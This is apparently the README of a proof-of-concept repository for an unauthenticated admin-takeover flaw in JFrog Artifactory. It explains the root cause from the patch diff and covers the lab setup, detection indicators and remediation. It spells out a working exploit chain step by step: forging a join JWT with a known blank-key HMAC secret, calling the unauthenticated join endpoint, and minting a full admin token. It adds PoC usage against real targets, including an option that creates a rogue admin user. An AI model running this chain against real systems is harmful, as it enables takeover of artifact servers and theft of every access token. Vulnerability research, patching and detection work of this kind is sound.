# CVE-2026-82329 — JFrog Artifactory unauthenticated auth bypass → admin takeover **CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · disclosed 2026-08-28 · exploited in the wild.** An unauthenticated, network-adjacent attacker mints a **platform administrator access token** against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker lab and a URL-parameterised validator PoC. Reproduced and A/B-verified on `artifactory-oss` **7.161.19** (vulnerable, JFrog Access 7.191.11) vs **7.161.20** (patched, JFrog Access 7.191.14). > Root cause was **derived from the vendor patch itself** (bytecode diff of the closed-source > JFrog Access service between the two container images), then proven live — not taken from any > third-party write-up. --- ## TL;DR exploit chain (all unauthenticated) 1. **Forge a cluster "join" JWT.** JFrog Access verifies join JWTs with the platform *join key* used as an HMAC secret. A bug leaves a **blank join key** in the trusted verifier set on a default install. `getSigningKey("")` = `pkcs7(, 32)` = **32 bytes of `0x20`** — a fully known secret. So anyone can sign a valid join JWT (`alg=HS256`, `kid = SHA256("")`, fresh `iat`, any `service_id`, `skip_node_registration=true`). 2. **`POST /access/api/v1/registry/join`** (`RegistryNoAuthResource` — *no authentication*) → **HTTP 201**, returns a `SERVICE` token with scope `admin` (audience = Access). 3. **`POST /access/api/v1/tokens`** with that token, `scope=applied-permissions/admin&audience=*` → a **full admin platform access token** (this is the "minting admin tokens" behaviour reported in the wild). 4. **Use it** — read the entire server configuration, list/steal every access token, and on Pro/Enterprise create admin users, repositories, etc. ``` $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082 [+] Step 1 /registry/join -> HTTP 201 SERVICE token minted (scp=admin) [+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin, aud=*) [+] Step 3 proof of admin capability: GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401) GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only) [=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329). ``` --- ## Root cause (from the patch diff) JFrog Access 7.191.11 → 7.191.14 changed exactly **12 classes**. The security-relevant ones: ### 1. Blank join key silently trusted — `JoinKeyAccess.tryResolveJoinKeys()` ```java // VULNERABLE (7.191.11) Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> { JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" allowed joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // blank key added to trusted set log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash()); }); // PATCHED (7.191.14) -> blank entries filtered out Arrays.stream(joinKey.get().split(",")).map(String::trim) .filter(Strings::isNotBlank) .forEach(...); ``` With no additional join keys configured (**the default**), the config value is `""`; `"".split(",")` yields `[""]`, so a **blank** `JoinKeyHashPair` (kid = `SHA256("")` = `e3b0c442…b855`) enters the trusted "additional join keys" map. `JoinKeyHashPair` was also hardened to reject null/blank in the constructor. **Confirmed on the live default instance** — server startup log: ``` o.j.a.s.s.JoinKeyAccess - Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys ``` That kid is exactly `SHA256("")`. ### 2. The blank join key is a known HMAC secret — `JoinKeyUtils.getSigningKey()` ```java public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); } // pkcs7 padding of an EMPTY key: padLength = 32 -> 32 bytes, each == (byte)32 == 0x20 ``` So the join JWT for the blank key is signed with **`HS256` over 32 bytes of `0x20`** — attacker-known. ### 3. The unauthenticated join endpoint mints an admin token `RegistryNoAuthResource` (`@Path("/v1/registry")`, no `@Authorized`): ```java @POST @Path("join") public Response join(String jwtStr) { // body = the raw JWT JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (<30s) + join-key signature return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build(); } ``` `JoinServiceImpl` → `ServiceTokenProviderImpl.getToken()`: ```java TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId) .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false); return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken(); ``` A **non-expiring, admin-scoped**, RSA-signed access token. The `scope("admin")` service token is then allowed to mint a full `applied-permissions/admin` user token via `POST /access/api/v1/tokens`. ### 4. Corroborating hardening — `ProjectResource` Two endpoints moved `@Authorized(AuthorizationType.SERVICE)` → `@Authorized(AuthorizationType.ADMIN)` (`GET`/`DELETE {projectKey}/resources`), confirming the exploit primitive is a forged **`SERVICE` identity** and that SERVICE-authorized surface was over-exposed. --- ## Affected / fixed versions Self-hosted only (cloud already patched). Vulnerable ≤ the last release in each branch below; upgrade to the paired fix: | Branch | Vulnerable ≤ | Fixed | |---|---|---| | 7.111 | 7.111.20 | **7.111.21** | | 7.117 | 7.117.27 | **7.117.28** | | 7.125 | 7.125.19 | **7.125.20** | | 7.133 | 7.133.28 | **7.133.29** | | 7.146 | 7.146.37 | **7.146.38** | | 7.161 | 7.161.19 | **7.161.20** | The fix ships JFrog **Access 7.191.14**. --- ## Reproduce (lab) See [`lab/README.md`](lab/README.md). In short: ```bash cd lab ART_VER=7.161.19 docker compose up -d # vulnerable (default); wait ~3-4 min until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABLE docker compose down ART_VER=7.161.20 docker compose up -d # patched control python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NOT VULNERABLE (join HTTP 400) ``` Artifactory 7.161.x **requires PostgreSQL** (its Access service refuses the bundled Derby), so the lab includes a postgres sidecar. --- ## Validate a real target ```bash python3 poc/cve_2026_82329_poc.py http://:8082 python3 poc/cve_2026_82329_poc.py http://:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent state change python3 poc/cve_2026_82329_poc.py http://:8082 --token-only # print an admin token ``` Point it at whatever front-ends the JFrog Router (`/access/…` reachable). It reports **VULNERABLE** (admin obtained) or **NOT VULNERABLE** (join rejected). Only run against systems you are authorised to test. --- ## Detection / IOCs - **Access request log**: `POST /access/api/v1/registry/join` from non-cluster hosts, especially followed immediately by `POST /access/api/v1/tokens`. - **Access service log**: the line `Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …` means the blank join key is trusted (present on unpatched defaults). - **Access audit / token store**: unexpected non-expiring tokens with `scope=applied-permissions/admin`, `audience=*`, or service-subject admin tokens (`sub=`, `scp=admin`, `aud=`). - Join JWTs whose `kid` claim equals `SHA256("")` (`e3b0c442…b855`). ## Remediation Upgrade to the fixed version for your branch (table above). Additionally: front Artifactory behind a reverse proxy that does not expose `/access/api/v1/registry/**` to untrusted networks, and rotate the join key + revoke unexpected admin tokens after patching. --- *Artifacts in this directory:* `poc/` (validator), `lab/` (Docker lab), `analysis/` (patch diffs + decompiled evidence), `EVIDENCE.md` (captured run output). For authorised security research only.